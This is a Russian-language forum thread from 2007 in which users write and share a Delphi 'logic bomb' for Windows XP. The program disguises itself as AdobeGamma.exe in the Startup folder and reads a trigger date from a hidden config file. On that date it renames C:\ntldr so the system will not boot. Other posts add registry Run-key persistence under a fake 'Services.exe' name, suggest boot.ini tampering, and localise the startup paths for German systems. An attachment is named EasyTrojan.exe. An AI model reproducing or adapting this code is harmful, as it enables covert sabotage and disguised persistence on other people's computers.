| Посл.ответ | 
Сообщение | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 30 сентября 2007 14:27   · Личное сообщение ·  #1 
Ни у кого нет проги для WinXP, которая по таймеру (на определённую дату), выводит Windu из работоспособного состояния (чтобы не грузилась, или засерался весь винт или ещё что нибудь похожее), но так, чтобы потом можно было без проблемм всё вернуть назад?
 Очень надо!
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:  | 
 | 
 Ранг: 260.2 (наставник) Активность: 0.19↘0 Статус: Участник 
 
 | 
Создано: 30 сентября 2007 14:58   · Личное сообщение ·  #2 
дык сам нопеши...5 мин. роботы при наличии фантазии...  
  | Сообщение посчитали полезным:  | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 30 сентября 2007 15:02   · Личное сообщение ·  #3 
Согласен... да нет под рукой никаких языков программирования, а качать и ставить, время нет
 Может кто встречал (или делал) подобные вещи?
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:  | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 30 сентября 2007 15:25   · Личное сообщение ·  #4 
Вот держи исходник. 
 Изв. но у меня шас совсем нет времени, уже ухожу.
 Подправь под себя.
 Думаю кто ни будь скомпилит.
 Uses  Windows;
 
 Var   T: TSYSTEMTIME;
       MyName: String;
 
 Const AutoRun='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
       XFile='C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB';
 
 Begin
 MyName:=ParamStr(0);
 // MessageBox(0,'',PChar(MyName),0);
 If MyName<>AutoRun Then
  Begin
  DeleteFileA(Autorun);
  CopyFileA(PChar(MyName), Autorun, True);
 // SetFileAttributesA(Autorun, FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  If ((UpCase(MyName[1])<>'C') and (UpCase(MyName[1])<>'D')) Then
  Beep(4000,300);
  End Else
  Begin
  GetLocalTime(T);
  If T.wDay>14 Then MoveFileA(XFile,XFile+'#');
  End;
 
 End.
 
  | Сообщение посчитали полезным:  | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 30 сентября 2007 16:41   · Личное сообщение ·  #5 
Я делал когда-то так:
 Program Max;
 Uses Windows,SysUtils,Registry;
 Var
   Coord:TPoint;
   H:TRegistry;
   S,P:String;
 
 Function GetWinDir:String;
 Var
   WindirP:PChar;
 Begin
   WinDirP:=StrAlloc(MAX_PATH);
   If GetWindowsDirectory(WinDirP,MAX_PATH)>0 Then
     Result:=StrPas(WinDirP);
 End;
 
 Begin
   P:=GetWinDir+'\Services.exe';
   H:=TRegistry.Create;
   With H Do
   Begin
     RootKey:=HKEY_LOCAL_MACHINE;
     OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
     S:=ReadString('Services');
     If (S<>P) Or (ParamStr(0)<>P) Then
       Begin
         CopyFile(PChar(ParamStr(0)),PChar(P),True);
         WriteString('Services',P);
         Exit;
       End;
     CloseKey;
     Free;
   End;
 .....
 code
 .....
получается неубиваемый процесс, т.к. имя совпадает с системным
 PS: вроде если переместить (стереть) драйвер мыши, винда не включается (не помню точно в XP есть этот косяк или в 98 только был)...
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:  | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 30 сентября 2007 16:54 · Поправил: Isaev   · Личное сообщение ·  #6 
или на крайняк в boot.ini "multi(0)disk(0)rdisk(0)partition(1)" поменять например на "multi(0)disk(0)rdisk(0)partition(5)" вернее будет и точно не загрузится
 Компильните кто нибудь эту бодягу please
----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:  | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 30 сентября 2007 18:49   · Личное сообщение ·  #7 
Может просто переименовать C:\ntldr, например в C:\ntl rd ?
 И незаметно, и маздай точно не стартанёт. Потом себе с диска загрузишься и назад переименуешь...
 На какую дату тебе надо ?
 С драйвером мыши хз.
   | Сообщение посчитали полезным:  | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 30 сентября 2007 19:13   · Личное сообщение ·  #8 
SergX пишет:
 Может просто переименовать C:\ntldr, например в C:\ntlrd ? 
 И незаметно, и маздай точно не стартанёт. Потом себе с диска загрузишься и назад переименуешь... 
ну можно и так
 SergX пишет:
 На какую дату тебе надо ?
Чтобы ключиком задавать можно было
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:   | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 30 сентября 2007 21:43   · Личное сообщение ·  #9 
uses  Windows;
 
 var   T: TSYSTEMTIME;
       MyName: String;
       HappyMonth: Word;
       HappyDay: Word;
       F: Text;
 
 const AutoRun='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
       ConfigFile='C:\Windows\System32\AdobeGamma.cfg';
 
 begin
 MyName:=ParamStr(0);
 if MyName<>AutoRun then
  begin
   DeleteFileA(Autorun);
   CopyFileA(PChar(MyName), Autorun, True);
   Beep(4000,300);
  end else
  begin
   {$I-}
   Assign(F, ConfigFile);
   Reset(F);
   ReadLn(F,HappyMonth);
   ReadLn(F,HappyDay);
   Close(F);
   {$I+}
   GetLocalTime(T);
   if (T.wMonth=HappyMonth) and (T.wDay=HappyDay) then MoveFileA('c:\ntldr','c:\ntdlr');
  end;
 end.
Вроде всё работает, но погоняй. 
 Я не выспался нехрена, так что мог протупить.
   671f_30.09.2007_CRACKLAB.rU.tgz - EasyTrojan.exe
   | Сообщение посчитали полезным:   | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 01 октября 2007 21:53   · Личное сообщение ·  #10 
SergX Огромное спасибо, выручил!
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:   | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 01 октября 2007 22:00   · Личное сообщение ·  #11 
Isaev
Да не за что   
Только потести..
 Думаю сам знаешь, но на всякий случай:
 в C:\Windows\System32\AdobeGamma.cfg месяц и день пиши через enter, без всяких запятых и т.д.
   | Сообщение посчитали полезным:   | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 01 октября 2007 22:51 · Поправил: Isaev   · Личное сообщение ·  #12 
  да это видно по тексту...
 можешь 'C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
 заменить на 
 'C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Autostart\AdobeGamma.exe';?
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:   | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 02 октября 2007 09:42   · Личное сообщение ·  #13  | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 02 октября 2007 09:55   · Личное сообщение ·  #14 
Delphi поменял Startmen ü на Startmen u. Какой у  ü ascii код должен быть ?
 Остальные знаки там все совпадают ? Я ещё с немцами дела не имел...
 Наверно так надо:
 AutoRun='C:\Dokumente und Einstellungen\All Users\Startmen' +Chr(???)+ '\Programme\Autostart\AdobeGamma.exe';
  | Сообщение посчитали полезным:  | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 02 октября 2007 16:38   · Личное сообщение ·  #15 
может его спросить у винды?
 Function GetStartupPath:String;
 Var
   Test:Array[1..255] Of Char;
 Begin
   FillChar(Test,SizeOf(Test),Ord(' '));
   SHGetSpecialFolderPath(Application.Handle,@Test,CSIDL_STARTUP,False);
   Result:=Trim(Test);
 End;
 вроде так...
 ----- z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh  | Сообщение посчитали полезным:  | 
 Ранг: 226.0 (наставник), 67thx Активность: 0.16↘0 Статус: Участник 
 
 | 
Создано: 03 октября 2007 09:58   · Личное сообщение ·  #16  | 
  Ранг: 756.3 (! !), 113thx Активность: 0.61↘0.05 Статус: Участник Student 
 
 | 
Создано: 04 октября 2007 19:05   · Личное сообщение ·  #17  |